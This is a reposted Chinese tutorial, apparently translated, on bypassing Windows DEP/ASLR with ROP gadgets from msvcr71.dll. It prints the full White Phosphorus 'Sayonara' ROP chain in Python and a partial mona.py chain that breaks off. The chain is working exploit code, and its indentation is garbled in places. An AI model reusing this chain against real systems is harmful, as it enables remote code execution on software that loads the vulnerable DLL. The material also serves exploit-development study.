免费教程_免费网赚教程_破解版软件-寂涯网络学习基地

当前位置: 主页 > 系统综合 > 系统安全 > 用msvcr71.dll和mona.py绕过DEP/ASLR

用msvcr71.dll和mona.py绕过DEP/ASLR

时间:2011-12-26 21:00来源:未知 整理:寂涯网络 点击:

说明
最近几周,有许多关于利用msvcr71.dll中 ROP gadgets(译者注gadgets小代码)实
现通用绕过 DEP/ASLR 的方法,事实上甚至已经有集成了这类功能的 exploit 程序被提交给
Metasploit来获取奖金了。
白磷版本
  做为白磷漏洞包发布的一部分,这段代码仅仅使用了msvcr71.dll中的gadgets和指向
VirtualProtect函数的指针。这个版本的dll没有基于 ASLR,因此这是个可以用来实现通
用绕过 DEP和ASLR的完美侯选者,此外它还包含了生成ROP 程序的所有gadgets。
  如果目标应用程序加载了该版本的dll(或者可以让它强制加载),我们就可以使用 ROP
chain来实现绕过DEP 和ASLR 的通用方法。
 Immunity公司在他们的网站上公布了绕过技巧,主要代码如下:
def wp_sayonaraASLRDEPBypass(size=1000):
    # White Phosphorus
    # Sayonara Universal ASLR + DEP bypass for Windows [2003/XP/Vista/7]
    #
    # This technique uses msvcr71.dll which has shipped unchanged
    # in the Java Runtime Environment since v1.6.0.0 released
    # December 2006.
    #
    # mail: support@whitephosphorus org
    # sales: http://www.jybase.net/products-whitephosphorus.shtml
    print "WP> Building Sayonara - Universal ASLR and DEP bypass"
size += 4  # bytes to shellcode after pushad esp ptr
depBypass = pack('<L', 0x7C344CC1)  # pop eax;ret;
    depBypass += pack('<L', 0x7C3410C2) # pop ecx;pop ecx;ret;
    depBypass += pack('<L', 0x7C342462) # xor chain; call eax {0x7C3410C2}
    depBypass += pack('<L', 0x7C38C510) # writeable location for lpflOldProtect
depBypass += pack('<L', 0x7C365645) # pop esi;ret;

depBypass += pack('<L', 0x7C345243) # ret;
    depBypass += pack('<L', 0x7C348F46) # pop ebp;ret;
    depBypass += pack('<L', 0x7C3487EC) # call eax
    depBypass += pack('<L', 0x7C344CC1) # pop eax;ret;
    depBypass += pack("<i", -size)      # {size}
    depBypass += pack('<L', 0x7C34D749) # neg eax;ret; {adjust size}
    depBypass += pack('<L', 0x7C3458AA) # add ebx, eax;ret; {size into ebx}
    depBypass += pack('<L', 0x7C3439FA) # pop edx;ret;
    depBypass += pack('<L', 0xFFFFFFC0) # {flag}
    depBypass += pack('<L', 0x7C351EB1) # neg edx;ret; {adjust flag}
    depBypass += pack('<L', 0x7C354648) # pop edi;ret;
    depBypass += pack('<L', 0x7C3530EA) # mov eax,[eax];ret;
    depBypass += pack('<L', 0x7C344CC1) # pop eax;ret;
    depBypass += pack('<L', 0x7C37A181) # (VP RVA + 30) - {0xEF adjustment}
    depBypass += pack('<L', 0x7C355AEB) # sub eax,30;ret;
    depBypass += pack('<L', 0x7C378C81) # pushad; add al,0xef; ret;
    depBypass += pack('<L', 0x7C36683F) # push esp;ret;
    print "WP> Universal Bypass Size: %d bytes"%len(depBypass)
    return depBypass 

  受 Mestasploit奖金事件的触动,以及 Abysssec 几个小时前(译者注:2011/07/03)
发表的一个类似文档,同时由于 Immunity 已经发布了代码,我决定自己再研究下看看能不
能从 msvcr71.dll中找到其他的能够绕过DEP/ASLR的代码
另一种版本(mona.py)
  我用 Immunity Debugger调试一个加载了这个dll的应用程序,利用mona.py脚本创建
一个拥有 ROP gadgets的数据库,并且生成一个rop chain
  因为在白磷版本中没有null 字节,所以可以尝试做同样的事。
  结果如下:
  输入命令:!mona rop -m msvcr71.dll -n
 17 秒后,结果如下:

rop_gadgets =
 [
  0x7c346c0a, # POP EAX # RETN (msvcr71.dll)
  0x7c37a140, # <- *&VirtualProtect()
  0x7c3530ea, # MOV EAX,DWORD PTR DS:[EAX] # RETN (msvcr71.dll)
  0x????????, # ** <- find routine to move virtualprotect() into esi
              # ** Hint : look for mov [esp+offset],eax and pop esi

本页地址 http://www.jybase.net/xitonganquan/20111226731.html

百度搜索更多

谷歌搜索更多

顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------

评价:
昵称: 验证码:点击我更换图片
推荐内容
赞助商
赞助商


关于本站免责声明视频更新google百度地图视频地图RRS订阅

如有什么问题请在本站留言,或发邮件到 hxt167#foxmail.com